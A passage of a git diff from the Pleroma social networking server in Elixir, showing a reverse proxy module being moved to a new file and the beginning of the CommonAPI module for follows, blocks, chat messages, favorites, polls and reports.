Logger.debug("#{__MODULE__} #{code} #{url} #{inspect(headers)}") + + conn + |> put_resp_headers(build_resp_headers(headers, opts)) + |> send_resp(code, "") + end + + defp error_or_redirect(conn, url, code, body, opts) do + if Keyword.get(opts, :redirect_on_failure, false) do + conn + |> Phoenix.Controller.redirect(external: url) + |> halt() + else + conn + |> send_resp(code, body) + |> halt + end + end + + defp downcase_headers(headers) do + Enum.map(headers, fn {k, v} -> + {String.downcase(k), v} + end) + end + + defp get_content_type(headers) do + {_, content_type} = + List.keyfind(headers, "content-type", 0, {"content-type", "application/octet-stream"}) + + [content_type | _] = String.split(content_type, ";") + content_type + end + + defp put_resp_headers(conn, headers) do + Enum.reduce(headers, conn, fn {k, v}, conn -> + put_resp_header(conn, k, v) + end) + end + + defp build_req_headers(headers, opts) do + headers + |> downcase_headers() + |> Enum.filter(fn {k, _} -> k in @keep_req_headers end) + |> build_req_range_or_encoding_header(opts) + |> build_req_user_agent_header(opts) + |> Keyword.merge(Keyword.get(opts, :req_headers, [])) + end + + # Disable content-encoding if any @range_headers are requested (see #1823). + defp build_req_range_or_encoding_header(headers, _opts) do + range? = Enum.any?(headers, fn {header, _} -> Enum.member?(@range_headers, header) end) + + if range? && List.keymember?(headers, "accept-encoding", 0) do + List.keydelete(headers, "accept-encoding", 0) + else + headers + end + end + + defp build_req_user_agent_header(headers, opts) do + if Keyword.get(opts, :keep_user_agent, false) do + List.keystore( + headers, + "user-agent", + 0, + {"user-agent", Pleroma.Application.user_agent()} + ) + else + headers + end + end + + defp build_resp_headers(headers, opts) do + headers + |> Enum.filter(fn {k, _} -> k in @keep_resp_headers end) + |> build_resp_cache_headers(opts) + |> build_resp_content_disposition_header(opts) + |> Keyword.merge(Keyword.get(opts, :resp_headers, [])) + end + + defp build_resp_cache_headers(headers, _opts) do + has_cache? = Enum.any?(headers, fn {k, _} -> k in @resp_cache_headers end) + + cond do + has_cache? -> + # There's caching header present but no cache-control -- we need to set our own + # as Plug defaults to "max-age=0, private, must-revalidate" + List.keystore( + headers, + "cache-control", + 0, + {"cache-control", @default_cache_control_header} + ) + + true -> + List.keystore( + headers, + "cache-control", + 0, + {"cache-control", @default_cache_control_header} + ) + end + end + + defp build_resp_content_disposition_header(headers, opts) do + opt = Keyword.get(opts, :inline_content_types, @inline_content_types) + + content_type = get_content_type(headers) + + attachment? = + cond do + is_list(opt) && !Enum.member?(opt, content_type) -> true + opt == false -> true + true -> false + end + + if attachment? do + name = + try do + {{"content-disposition", content_disposition_string}, _} = + List.keytake(headers, "content-disposition", 0) + + [name | _] = + Regex.run( + ~r/filename="((?:[^"\\]|\\.)*)"/u, + content_disposition_string || "", + capture: :all_but_first + ) + + name + rescue + MatchError -> Keyword.get(opts, :attachment_name, "attachment") + end + + disposition = "attachment; filename=\"#{name}\"" + + List.keystore(headers, "content-disposition", 0, {"content-disposition", disposition}) + else + headers + end + end + + defp header_length_constraint(headers, limit) when is_integer(limit) and limit > 0 do + with {_, size} <- List.keyfind(headers, "content-length", 0), + {size, _} <- Integer.parse(size), + true <- size <= limit do + :ok + else + false -> + {:error, :body_too_large} + + _ -> + :ok + end + end + + defp header_length_constraint(_, _), do: :ok + + defp body_size_constraint(size, limit) when is_integer(limit) and limit > 0 and size >= limit do + {:error, :body_too_large} + end + + defp body_size_constraint(_, _), do: :ok + + defp check_read_duration(nil = _duration, max), do: check_read_duration(@max_read_duration, max) + + defp check_read_duration(duration, max) + when is_integer(duration) and is_integer(max) and max > 0 do + if duration > max do + {:error, :read_duration_exceeded} + else + {:ok, {duration, :erlang.system_time(:millisecond)}} + end + end + + defp check_read_duration(_, _), do: {:ok, :no_duration_limit, :no_duration_limit} + + defp increase_read_duration({previous_duration, started}) + when is_integer(previous_duration) and is_integer(started) do + duration = :erlang.system_time(:millisecond) - started + {:ok, previous_duration + duration} + end + + defp increase_read_duration(_) do + {:ok, :no_duration_limit, :no_duration_limit} + end + + defp client, do: Pleroma.ReverseProxy.Client + + defp track_failed_url(url, error, opts) do + ttl = + unless error in [:body_too_large, 400, 204] do + Keyword.get(opts, :failed_request_ttl, @failed_request_ttl) + else + nil + end + + Cachex.put(:failed_proxy_url_cache, url, true, ttl: ttl) + end +end diff --git a/lib/pleroma/reverse_proxy/reverse_proxy.ex b/lib/pleroma/reverse_proxy/reverse_proxy.ex deleted file mode 100644 index 8ae1157df..000000000 --- a/lib/pleroma/reverse_proxy/reverse_proxy.ex +++ /dev/null @@ -1,432 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ReverseProxy do - @range_headers ~w(range if-range) - @keep_req_headers ~w(accept user-agent accept-encoding cache-control if-modified-since) ++ - ~w(if-unmodified-since if-none-match) ++ @range_headers - @resp_cache_headers ~w(etag date last-modified) - @keep_resp_headers @resp_cache_headers ++ - ~w(content-length content-type content-disposition content-encoding) ++ - ~w(content-range accept-ranges vary) - @default_cache_control_header "public, max-age=1209600" - @valid_resp_codes [200, 206, 304] - @max_read_duration :timer.seconds(30) - @max_body_length :infinity - @failed_request_ttl :timer.seconds(60) - @methods ~w(GET HEAD) - - def max_read_duration_default, do: @max_read_duration - def default_cache_control_header, do: @default_cache_control_header - - @moduledoc """ - A reverse proxy. - - Pleroma.ReverseProxy.call(conn, url, options) - - It is not meant to be added into a plug pipeline, but to be called from another plug or controller. - - Supports `#{inspect(@methods)}` HTTP methods, and only allows `#{inspect(@valid_resp_codes)}` status codes. - - Responses are chunked to the client while downloading from the upstream. - - Some request / responses headers are preserved: - - * request: `#{inspect(@keep_req_headers)}` - * response: `#{inspect(@keep_resp_headers)}` - - Options: - - * `redirect_on_failure` (default `false`). Redirects the client to the real remote URL if there's any HTTP - errors. Any error during body processing will not be redirected as the response is chunked. This may expose - remote URL, clients IPs, …. - - * `max_body_length` (default `#{inspect(@max_body_length)}`): limits the content length to be approximately the - specified length. It is validated with the `content-length` header and also verified when proxying. - - * `max_read_duration` (default `#{inspect(@max_read_duration)}` ms): the total time the connection is allowed to - read from the remote upstream. - - * `failed_request_ttl` (default `#{inspect(@failed_request_ttl)}` ms): the time the failed request is cached and cannot be retried. - - * `inline_content_types`: - * `true` will not alter `content-disposition` (up to the upstream), - * `false` will add `content-disposition: attachment` to any request, - * a list of whitelisted content types - - * `keep_user_agent` will forward the client's user-agent to the upstream. This may be useful if the upstream is - doing content transformation (encoding, …) depending on the request. - - * `req_headers`, `resp_headers` additional headers. - - * `http`: options for [hackney](https://github.com/benoitc/hackney) or [gun](https://github.com/ninenines/gun). - - """ - @default_options [pool: :media] - - @inline_content_types [ - "image/gif", - "image/jpeg", - "image/jpg", - "image/png", - "image/svg+xml", - "audio/mpeg", - "audio/mp3", - "video/webm", - "video/mp4", - "video/quicktime" - ] - - require Logger - import Plug.Conn - - @type option() :: - {:keep_user_agent, boolean} - | {:max_read_duration, :timer.time() | :infinity} - | {:max_body_length, non_neg_integer() | :infinity} - | {:failed_request_ttl, :timer.time() | :infinity} - | {:http, []} - | {:req_headers, [{String.t(), String.t()}]} - | {:resp_headers, [{String.t(), String.t()}]} - | {:inline_content_types, boolean() | [String.t()]} - | {:redirect_on_failure, boolean()} - - @spec call(Plug.Conn.t(), url :: String.t(), [option()]) :: Plug.Conn.t() - def call(_conn, _url, _opts \\ []) - - def call(conn = %{method: method}, url, opts) when method in @methods do - client_opts = Keyword.merge(@default_options, Keyword.get(opts, :http, [])) - - req_headers = build_req_headers(conn.req_headers, opts) - - opts = - if filename = Pleroma.Web.MediaProxy.filename(url) do - Keyword.put_new(opts, :attachment_name, filename) - else - opts - end - - with {:ok, nil} <- Cachex.get(:failed_proxy_url_cache, url), - {:ok, code, headers, client} <- request(method, url, req_headers, client_opts), - :ok <- - header_length_constraint( - headers, - Keyword.get(opts, :max_body_length, @max_body_length) - ) do - response(conn, client, url, code, headers, opts) - else - {:ok, true} -> - conn - |> error_or_redirect(url, 500, "Request failed", opts) - |> halt() - - {:ok, code, headers} -> - head_response(conn, url, code, headers, opts) - |> halt() - - {:error, {:invalid_http_response, code}} -> - Logger.error("#{__MODULE__}: request to #{inspect(url)} failed with HTTP status #{code}") - track_failed_url(url, code, opts) - - conn - |> error_or_redirect( - url, - code, - "Request failed: " <> Plug.Conn.Status.reason_phrase(code), - opts - ) - |> halt() - - {:error, error} -> - Logger.error("#{__MODULE__}: request to #{inspect(url)} failed: #{inspect(error)}") - track_failed_url(url, error, opts) - - conn - |> error_or_redirect(url, 500, "Request failed", opts) - |> halt() - end - end - - def call(conn, _, _) do - conn - |> send_resp(400, Plug.Conn.Status.reason_phrase(400)) - |> halt() - end - - defp request(method, url, headers, opts) do - Logger.debug("#{__MODULE__} #{method} #{url} #{inspect(headers)}") - method = method |> String.downcase() |> String.to_existing_atom() - - case client().request(method, url, headers, "", opts) do - {:ok, code, headers, client} when code in @valid_resp_codes -> - {:ok, code, downcase_headers(headers), client} - - {:ok, code, headers} when code in @valid_resp_codes -> - {:ok, code, downcase_headers(headers)} - - {:ok, code, _, _} -> - {:error, {:invalid_http_response, code}} - - {:ok, code, _} -> - {:error, {:invalid_http_response, code}} - - {:error, error} -> - {:error, error} - end - end - - defp response(conn, client, url, status, headers, opts) do - Logger.debug("#{__MODULE__} #{status} #{url} #{inspect(headers)}") - - result = - conn - |> put_resp_headers(build_resp_headers(headers, opts)) - |> send_chunked(status) - |> chunk_reply(client, opts) - - case result do - {:ok, conn} -> - halt(conn) - - {:error, :closed, conn} -> - client().close(client) - halt(conn) - - {:error, error, conn} -> - Logger.warn( - "#{__MODULE__} request to #{url} failed while reading/chunking: #{inspect(error)}" - ) - - client().close(client) - halt(conn) - end - end - - defp chunk_reply(conn, client, opts) do - chunk_reply(conn, client, opts, 0, 0) - end - - defp chunk_reply(conn, client, opts, sent_so_far, duration) do - with {:ok, duration} <- - check_read_duration( - duration, - Keyword.get(opts, :max_read_duration, @max_read_duration) - ), - {:ok, data, client} <- client().stream_body(client), - {:ok, duration} <- increase_read_duration(duration), - sent_so_far = sent_so_far + byte_size(data), - :ok <- - body_size_constraint( - sent_so_far, - Keyword.get(opts, :max_body_length, @max_body_length) - ), - {:ok, conn} <- chunk(conn, data) do - chunk_reply(conn, client, opts, sent_so_far, duration) - else - :done -> {:ok, conn} - {:error, error} -> {:error, error, conn} - end - end - - defp head_response(conn, url, code, headers, opts) do - Logger.debug("#{__MODULE__} #{code} #{url} #{inspect(headers)}") - - conn - |> put_resp_headers(build_resp_headers(headers, opts)) - |> send_resp(code, "") - end - - defp error_or_redirect(conn, url, code, body, opts) do - if Keyword.get(opts, :redirect_on_failure, false) do - conn - |> Phoenix.Controller.redirect(external: url) - |> halt() - else - conn - |> send_resp(code, body) - |> halt - end - end - - defp downcase_headers(headers) do - Enum.map(headers, fn {k, v} -> - {String.downcase(k), v} - end) - end - - defp get_content_type(headers) do - {_, content_type} = - List.keyfind(headers, "content-type", 0, {"content-type", "application/octet-stream"}) - - [content_type | _] = String.split(content_type, ";") - content_type - end - - defp put_resp_headers(conn, headers) do - Enum.reduce(headers, conn, fn {k, v}, conn -> - put_resp_header(conn, k, v) - end) - end - - defp build_req_headers(headers, opts) do - headers - |> downcase_headers() - |> Enum.filter(fn {k, _} -> k in @keep_req_headers end) - |> build_req_range_or_encoding_header(opts) - |> build_req_user_agent_header(opts) - |> Keyword.merge(Keyword.get(opts, :req_headers, [])) - end - - # Disable content-encoding if any @range_headers are requested (see #1823). - defp build_req_range_or_encoding_header(headers, _opts) do - range? = Enum.any?(headers, fn {header, _} -> Enum.member?(@range_headers, header) end) - - if range? && List.keymember?(headers, "accept-encoding", 0) do - List.keydelete(headers, "accept-encoding", 0) - else - headers - end - end - - defp build_req_user_agent_header(headers, opts) do - if Keyword.get(opts, :keep_user_agent, false) do - List.keystore( - headers, - "user-agent", - 0, - {"user-agent", Pleroma.Application.user_agent()} - ) - else - headers - end - end - - defp build_resp_headers(headers, opts) do - headers - |> Enum.filter(fn {k, _} -> k in @keep_resp_headers end) - |> build_resp_cache_headers(opts) - |> build_resp_content_disposition_header(opts) - |> Keyword.merge(Keyword.get(opts, :resp_headers, [])) - end - - defp build_resp_cache_headers(headers, _opts) do - has_cache? = Enum.any?(headers, fn {k, _} -> k in @resp_cache_headers end) - - cond do - has_cache? -> - # There's caching header present but no cache-control -- we need to set our own - # as Plug defaults to "max-age=0, private, must-revalidate" - List.keystore( - headers, - "cache-control", - 0, - {"cache-control", @default_cache_control_header} - ) - - true -> - List.keystore( - headers, - "cache-control", - 0, - {"cache-control", @default_cache_control_header} - ) - end - end - - defp build_resp_content_disposition_header(headers, opts) do - opt = Keyword.get(opts, :inline_content_types, @inline_content_types) - - content_type = get_content_type(headers) - - attachment? = - cond do - is_list(opt) && !Enum.member?(opt, content_type) -> true - opt == false -> true - true -> false - end - - if attachment? do - name = - try do - {{"content-disposition", content_disposition_string}, _} = - List.keytake(headers, "content-disposition", 0) - - [name | _] = - Regex.run( - ~r/filename="((?:[^"\\]|\\.)*)"/u, - content_disposition_string || "", - capture: :all_but_first - ) - - name - rescue - MatchError -> Keyword.get(opts, :attachment_name, "attachment") - end - - disposition = "attachment; filename=\"#{name}\"" - - List.keystore(headers, "content-disposition", 0, {"content-disposition", disposition}) - else - headers - end - end - - defp header_length_constraint(headers, limit) when is_integer(limit) and limit > 0 do - with {_, size} <- List.keyfind(headers, "content-length", 0), - {size, _} <- Integer.parse(size), - true <- size <= limit do - :ok - else - false -> - {:error, :body_too_large} - - _ -> - :ok - end - end - - defp header_length_constraint(_, _), do: :ok - - defp body_size_constraint(size, limit) when is_integer(limit) and limit > 0 and size >= limit do - {:error, :body_too_large} - end - - defp body_size_constraint(_, _), do: :ok - - defp check_read_duration(nil = _duration, max), do: check_read_duration(@max_read_duration, max) - - defp check_read_duration(duration, max) - when is_integer(duration) and is_integer(max) and max > 0 do - if duration > max do - {:error, :read_duration_exceeded} - else - {:ok, {duration, :erlang.system_time(:millisecond)}} - end - end - - defp check_read_duration(_, _), do: {:ok, :no_duration_limit, :no_duration_limit} - - defp increase_read_duration({previous_duration, started}) - when is_integer(previous_duration) and is_integer(started) do - duration = :erlang.system_time(:millisecond) - started - {:ok, previous_duration + duration} - end - - defp increase_read_duration(_) do - {:ok, :no_duration_limit, :no_duration_limit} - end - - defp client, do: Pleroma.ReverseProxy.Client - - defp track_failed_url(url, error, opts) do - ttl = - unless error in [:body_too_large, 400, 204] do - Keyword.get(opts, :failed_request_ttl, @failed_request_ttl) - else - nil - end - - Cachex.put(:failed_proxy_url_cache, url, true, ttl: ttl) - end -end diff --git a/lib/pleroma/web/common_api.ex b/lib/pleroma/web/common_api.ex new file mode 100644 index 000000000..60a50b027 --- /dev/null +++ b/lib/pleroma/web/common_api.ex @@ -0,0 +1,573 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.CommonAPI do + alias Pleroma.Activity + alias Pleroma.Conversation.Participation + alias Pleroma.Formatter + alias Pleroma.Object + alias Pleroma.ThreadMute + alias Pleroma.User + alias Pleroma.UserRelationship + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.Pipeline + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.ActivityPub.Visibility + + import Pleroma.Web.Gettext + import Pleroma.Web.CommonAPI.Utils + + require Pleroma.Constants + require Logger + + def block(blocker, blocked) do + with {:ok, block_data, _} <- Builder.block(blocker, blocked), + {:ok, block, _} <- Pipeline.common_pipeline(block_data, local: true) do + {:ok, block} + end + end + + def post_chat_message(%User{} = user, %User{} = recipient, content, opts \\ []) do + with maybe_attachment <- opts[:media_id] && Object.get_by_id(opts[:media_id]), + :ok <- validate_chat_content_length(content, !!maybe_attachment), + {_, {:ok, chat_message_data, _meta}} <- + {:build_object, + Builder.chat_message( + user, + recipient.ap_id, + content |> format_chat_content, + attachment: maybe_attachment + )}, + {_, {:ok, create_activity_data, _meta}} <- + {:build_create_activity, Builder.create(user, chat_message_data, [recipient.ap_id])}, + {_, {:ok, %Activity{} = activity, _meta}} <- + {:common_pipeline, + Pipeline.common_pipeline(create_activity_data, + local: true + )} do + {:ok, activity} + else + {:common_pipeline, {:reject, _} = e} -> e + e -> e + end + end + + defp format_chat_content(nil), do: nil + + defp format_chat_content(content) do + {text, _, _} = + content + |> Formatter.html_escape("text/plain") + |> Formatter.linkify() + |> (fn {text, mentions, tags} -> + {String.replace(text, ~r/\r?\n/, "<br>"), mentions, tags} + end).() + + text + end + + defp validate_chat_content_length(_, true), do: :ok + defp validate_chat_content_length(nil, false), do: {:error, :no_content} + + defp validate_chat_content_length(content, _) do + if String.length(content) <= Pleroma.Config.get([:instance, :chat_limit]) do + :ok + else + {:error, :content_too_long} + end + end + + def unblock(blocker, blocked) do + with {_, %Activity{} = block} <- {:fetch_block, Utils.fetch_latest_block(blocker, blocked)}, + {:ok, unblock_data, _} <- Builder.undo(blocker, block), + {:ok, unblock, _} <- Pipeline.common_pipeline(unblock_data, local: true) do + {:ok, unblock} + else + {:fetch_block, nil} -> + if User.blocks?(blocker, blocked) do + User.unblock(blocker, blocked) + {:ok, :no_activity} + else + {:error, :not_blocking} + end + + e -> + e + end + end + + def follow(follower, followed) do + timeout = Pleroma.Config.get([:activitypub, :follow_handshake_timeout]) + + with {:ok, follow_data, _} <- Builder.follow(follower, followed), + {:ok, activity, _} <- Pipeline.common_pipeline(follow_data, local: true), + {:ok, follower, followed} <- User.wait_and_refresh(timeout, follower, followed) do + if activity.data["state"] == "reject" do + {:error, :rejected} + else + {:ok, follower, followed, activity} + end + end + end + + def unfollow(follower, unfollowed) do + with {:ok, follower, _follow_activity} <- User.unfollow(follower, unfollowed), + {:ok, _activity} <- ActivityPub.unfollow(follower, unfollowed), + {:ok, _subscription} <- User.unsubscribe(follower, unfollowed) do + {:ok, follower} + end + end + + def accept_follow_request(follower, followed) do + with %Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed), + {:ok, accept_data, _} <- Builder.accept(followed, follow_activity), + {:ok, _activity, _} <- Pipeline.common_pipeline(accept_data, local: true) do + {:ok, follower} + end + end + + def reject_follow_request(follower, followed) do + with %Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed), + {:ok, reject_data, _} <- Builder.reject(followed, follow_activity), + {:ok, _activity, _} <- Pipeline.common_pipeline(reject_data, local: true) do + {:ok, follower} + end + end + + def delete(activity_id, user) do + with {_, %Activity{data: %{"object" => _, "type" => "Create"}} = activity} <- + {:find_activity, Activity.get_by_id(activity_id)}, + {_, %Object{} = object, _} <- + {:find_object, Object.normalize(activity, false), activity}, + true <- User.superuser?(user) || user.ap_id == object.data["actor"], + {:ok, delete_data, _} <- Builder.delete(user, object.data["id"]), + {:ok, delete, _} <- Pipeline.common_pipeline(delete_data, local: true) do + {:ok, delete} + else + {:find_activity, _} -> + {:error, :not_found} + + {:find_object, nil, %Activity{data: %{"actor" => actor, "object" => object}}} -> + # We have the create activity, but not the object, it was probably pruned. + # Insert a tombstone and try again + with {:ok, tombstone_data, _} <- Builder.tombstone(actor, object), + {:ok, _tombstone} <- Object.create(tombstone_data) do + delete(activity_id, user) + else + _ -> + Logger.error( + "Could not insert tombstone for missing object on deletion. Object is #{object}." + ) + + {:error, dgettext("errors", "Could not delete")} + end + + _ -> + {:error, dgettext("errors", "Could not delete")} + end + end + + def repeat(id, user, params \\ %{}) do + with %Activity{data: %{"type" => "Create"}} = activity <- Activity.get_by_id(id), + object = %Object{} <- Object.normalize(activity, false), + {_, nil} <- {:existing_announce, Utils.get_existing_announce(user.ap_id, object)}, + public = public_announce?(object, params), + {:ok, announce, _} <- Builder.announce(user, object, public: public), + {:ok, activity, _} <- Pipeline.common_pipeline(announce, local: true) do + {:ok, activity} + else + {:existing_announce, %Activity{} = announce} -> + {:ok, announce} + + _ -> + {:error, :not_found} + end + end + + def unrepeat(id, user) do + with {_, %Activity{data: %{"type" => "Create"}} = activity} <- + {:find_activity, Activity.get_by_id(id)}, + %Object{} = note <- Object.normalize(activity, false), + %Activity{} = announce <- Utils.get_existing_announce(user.ap_id, note), + {:ok, undo, _} <- Builder.undo(user, announce), + {:ok, activity, _} <- Pipeline.common_pipeline(undo, local: true) do + {:ok, activity} + else + {:find_activity, _} -> {:error, :not_found} + _ -> {:error, dgettext("errors", "Could not unrepeat")} + end + end + + @spec favorite(User.t(), binary()) :: {:ok, Activity.t() | :already_liked} | {:error, any()} + def favorite(%User{} = user, id) do + case favorite_helper(user, id) do + {:ok, _} = res -> + res + + {:error, :not_found} = res -> + res + + {:error, e} -> + Logger.error("Could not favorite #{id}. Error: #{inspect(e, pretty: true)}") + {:error, dgettext("errors", "Could not favorite")} + end + end + + def favorite_helper(user, id) do + with {_, %Activity{object: object}} <- {:find_object, Activity.get_by_id_with_object(id)}, + {_, {:ok, like_object, meta}} <- {:build_object, Builder.like(user, object)}, + {_, {:ok, %Activity{} = activity, _meta}} <- + {:common_pipeline, + Pipeline.common_pipeline(like_object, Keyword.put(meta, :local, true))} do + {:ok, activity} + else + {:find_object, _} -> + {:error, :not_found} + + {:common_pipeline, + { + :error, + { + :validate_object, + { + :error, + changeset + } + } + }} = e -> + if {:object, {"already liked by this actor", []}} in changeset.errors do + {:ok, :already_liked} + else + {:error, e} + end + + e -> + {:error, e} + end + end + + def unfavorite(id, user) do + with {_, %Activity{data: %{"type" => "Create"}} = activity} <- + {:find_activity, Activity.get_by_id(id)}, + %Object{} = note <- Object.normalize(activity, false), + %Activity{} = like <- Utils.get_existing_like(user.ap_id, note), + {:ok, undo, _} <- Builder.undo(user, like), + {:ok, activity, _} <- Pipeline.common_pipeline(undo, local: true) do + {:ok, activity} + else + {:find_activity, _} -> {:error, :not_found} + _ -> {:error, dgettext("errors", "Could not unfavorite")} + end + end + + def react_with_emoji(id, user, emoji) do + with %Activity{} = activity <- Activity.get_by_id(id), + object <- Object.normalize(activity), + {:ok, emoji_react, _} <- Builder.emoji_react(user, object, emoji), + {:ok, activity, _} <- Pipeline.common_pipeline(emoji_react, local: true) do + {:ok, activity} + else + _ -> + {:error, dgettext("errors", "Could not add reaction emoji")} + end + end + + def unreact_with_emoji(id, user, emoji) do + with %Activity{} = reaction_activity <- Utils.get_latest_reaction(id, user, emoji), + {:ok, undo, _} <- Builder.undo(user, reaction_activity), + {:ok, activity, _} <- Pipeline.common_pipeline(undo, local: true) do + {:ok, activity} + else + _ -> + {:error, dgettext("errors", "Could not remove reaction emoji")} + end + end + + def vote(user, %{data: %{"type" => "Question"}} = object, choices) do + with :ok <- validate_not_author(object, user), + :ok <- validate_existing_votes(user, object), + {:ok, options, choices} <- normalize_and_validate_choices(choices, object) do + answer_activities = + Enum.map(choices, fn index -> + {:ok, answer_object, _meta} = + Builder.answer(user, object, Enum.at(options, index)["name"]) + + {:ok, activity_data, _meta} = Builder.create(user, answer_object, []) + + {:ok, activity, _meta} = + activity_data + |> Map.put("cc", answer_object["cc"]) + |> Map.put("context", answer_object["context"]) + |> Pipeline.common_pipeline(local: true) + + # TODO: Do preload of Pleroma.Object in Pipeline + Activity.normalize(activity.data) + end) + + object = Object.get_cached_by_ap_id(object.data["id"]) + {:ok, answer_activities, object} + end + end + + defp validate_not_author(%{data: %{"actor" => ap_id}}, %{ap_id: ap_id}), + do: {:error, dgettext("errors", "Poll's author can't vote")} + + defp validate_not_author(_, _), do: :ok + + defp validate_existing_votes(%{ap_id: ap_id}, object) do + if Utils.get_existing_votes(ap_id, object) == [] do + :ok + else + {:error, dgettext("errors", "Already voted")} + end + end + + defp get_options_and_max_count(%{data: %{"anyOf" => any_of}}) + when is_list(any_of) and any_of != [], + do: {any_of, Enum.count(any_of)} + + defp get_options_and_max_count(%{data: %{"oneOf" => one_of}}) + when is_list(one_of) and one_of != [], + do: {one_of, 1} + + defp normalize_and_validate_choices(choices, object) do + choices = Enum.map(choices, fn i -> if is_binary(i), do: String.to_integer(i), else: i end) + {options, max_count} = get_options_and_max_count(object) + count = Enum.count(options) + + with {_, true} <- {:valid_choice, Enum.all?(choices, &(&1 < count))}, + {_, true} <- {:count_check, Enum.count(choices) <= max_count} do + {:ok, options, choices} + else + {:valid_choice, _} -> {:error, dgettext("errors", "Invalid indices")} + {:count_check, _} -> {:error, dgettext("errors", "Too many choices")} + end + end + + def public_announce?(_, %{visibility: visibility}) + when visibility in ~w{public unlisted private direct}, + do: visibility in ~w(public unlisted) + + def public_announce?(object, _) do + Visibility.is_public?(object) + end + + def get_visibility(_, _, %Participation{}), do: {"direct", "direct"} + + def get_visibility(%{visibility: visibility}, in_reply_to, _) + when visibility in ~w{public unlisted private direct}, + do: {visibility, get_replied_to_visibility(in_reply_to)} + + def get_visibility(%{visibility: "list:" <> list_id}, in_reply_to, _) do + visibility = {:list, String.to_integer(list_id)} + {visibility, get_replied_to_visibility(in_reply_to)} + end + + def get_visibility(_, in_reply_to, _) when not is_nil(in_reply_to) do + visibility = get_replied_to_visibility(in_reply_to) + {visibility, visibility} + end + + def get_visibility(_, in_reply_to, _), do: {"public", get_replied_to_visibility(in_reply_to)} + + def get_replied_to_visibility(nil), do: nil + + def get_replied_to_visibility(activity) do + with %Object{} = object <- Object.normalize(activity) do + Visibility.get_visibility(object) + end + end + + def check_expiry_date({:ok, nil} = res), do: res + + def check_expiry_date({:ok, in_seconds}) do + expiry = DateTime.add(DateTime.utc_now(), in_seconds) + + if Pleroma.Workers.PurgeExpiredActivity.expires_late_enough?(expiry) do + {:ok, expiry} + else + {:error, "Expiry date is too soon"} + end + end + + def check_expiry_date(expiry_str) do + Ecto.Type.cast(:integer, expiry_str) + |> check_expiry_date() + end + + def listen(user, data) do + visibility = Map.get(data, :visibility, "public") + + with {to, cc} <- get_to_and_cc(user, [], nil, visibility, nil), + listen_data <- + data + |> Map.take([:album, :artist, :title, :length]) + |> Map.new(fn {key, value} -> {to_string(key), value} end) + |> Map.put("type", "Audio") + |> Map.put("to", to) + |> Map.put("cc", cc) + |> Map.put("actor", user.ap_id), + {:ok, activity} <- + ActivityPub.listen(%{ + actor: user, + to: to, + object: listen_data, + context: Utils.generate_context_id(), + additional: %{"cc" => cc} + }) do + {:ok, activity} + end + end + + def post(user, %{status: _} = data) do + with {:ok, draft} <- Pleroma.Web.CommonAPI.ActivityDraft.create(user, data) do + ActivityPub.create(draft.changes, draft.preview?) + end + end + + def pin(id, %{ap_id: user_ap_id} = user) do + with %Activity{ + actor: ^user_ap_id, + data: %{"type" => "Create"}, + object: %Object{data: %{"type" => object_type}} + } = activity <- Activity.get_by_id_with_object(id), + true <- object_type in ["Note", "Article", "Question"], + true <- Visibility.is_public?(activity), + {:ok, _user} <- User.add_pinnned_activity(user, activity) do + {:ok, activity} + else + {:error, %{errors: [pinned_activities: {err, _}]}} -> {:error, err} + _ -> {:error, dgettext("errors", "Could not pin")} + end + end + + def unpin(id, user) do + with %Activity{data: %{"type" => "Create"}} = activity <- Activity.get_by_id(id), + {:ok, _user} <- User.remove_pinnned_activity(user, activity) do + {:ok, activity} + else + {:error, %{errors: [pinned_activities: {err, _}]}} -> {:error, err} + _ -> {:error, dgettext("errors", "Could not unpin")} + end + end + + def add_mute(user, activity) do + with {:ok, _} <- ThreadMute.add_mute(user.id, activity.data["context"]), + _ <- Pleroma.Notification.mark_context_as_read(user, activity.data["context"]) do + {:ok, activity} + else + {:error, _} -> {:error, dgettext("errors", "conversation is already muted")} + end + end + + def remove_mute(user, activity) do + ThreadMute.remove_mute(user.id, activity.data["context"]) + {:ok, activity} + end + + def thread_muted?(%User{id: user_id}, %{data: %{"context" => context}}) + when is_binary(context) do + ThreadMute.exists?(user_id, context) + end + + def thread_muted?(_, _), do: false + + def report(user, data) do + with {:ok, account} <- get_reported_account(data.account_id), + {:ok, {content_html, _, _}} <- make_report_content_html(data[:comment]), + {:ok, statuses} <- get_report_statuses(account, data) do + ActivityPub.flag(%{ + context: Utils.generate_context_id(), + actor: user, + account: account, + statuses: statuses, + content: content_html, + forward: Map.get(data, :forward, false) + }) + end + end + + defp get_reported_account(account_id) do + case User.get_cached_by_id(account_id) do + %User{} = account -> {:ok, account} + _ -> {:error, dgettext("errors", "Account not found")} + end + end + + def update_report_state(activity_ids, state) when is_list(activity_ids) do + case Utils.update_report_state(activity_ids, state) do + :ok -> {:ok, activity_ids} + _ -> {:error, dgettext("errors", "Could not update state")} + end + end + + def update_report_state(activity_id, state) do + with %Activity{} = activity <- Activity.get_by_id(activity_id) do + Utils.update_report_state(activity, state) + else + nil -> {:error, :not_found} + _ -> {:error, dgettext("errors", "Could not update state")} + end + end + + def update_activity_scope(activity_id, opts \\ %{}) do + with %Activity{} = activity <- Activity.get_by_id_with_object(activity_id), + {:ok, activity} <- toggle_sensitive(activity, opts) do + set_visibility(activity, opts) + else + nil -> {:error, :not_found} + {:error, reason} -> {:error, reason} + end + end + + defp toggle_sensitive(activity, %{sensitive: sensitive}) when sensitive in ~w(true false) do + toggle_sensitive(activity, %{sensitive: String.to_existing_atom(sensitive)}) + end + + defp toggle_sensitive(%Activity{object: object} = activity, %{sensitive: sensitive}) + when is_boolean(sensitive) do + new_data = Map.put(object.data, "sensitive", sensitive) + + {:ok, object} = + object + |> Object.change(%{data: new_data}) + |> Object.update_and_set_cache() + + {:ok, Map.put(activity, :object, object)} + end + + defp toggle_sensitive(activity, _), do: {:ok, activity} + + defp set_visibility(activity, %{visibility: visibility}) do + Utils.update_activity_visibility(activity, visibility) + end + + defp set_visibility(activity, _), do: {:ok, activity} + + def hide_reblogs(%User{} = user, %User{} = target) do + 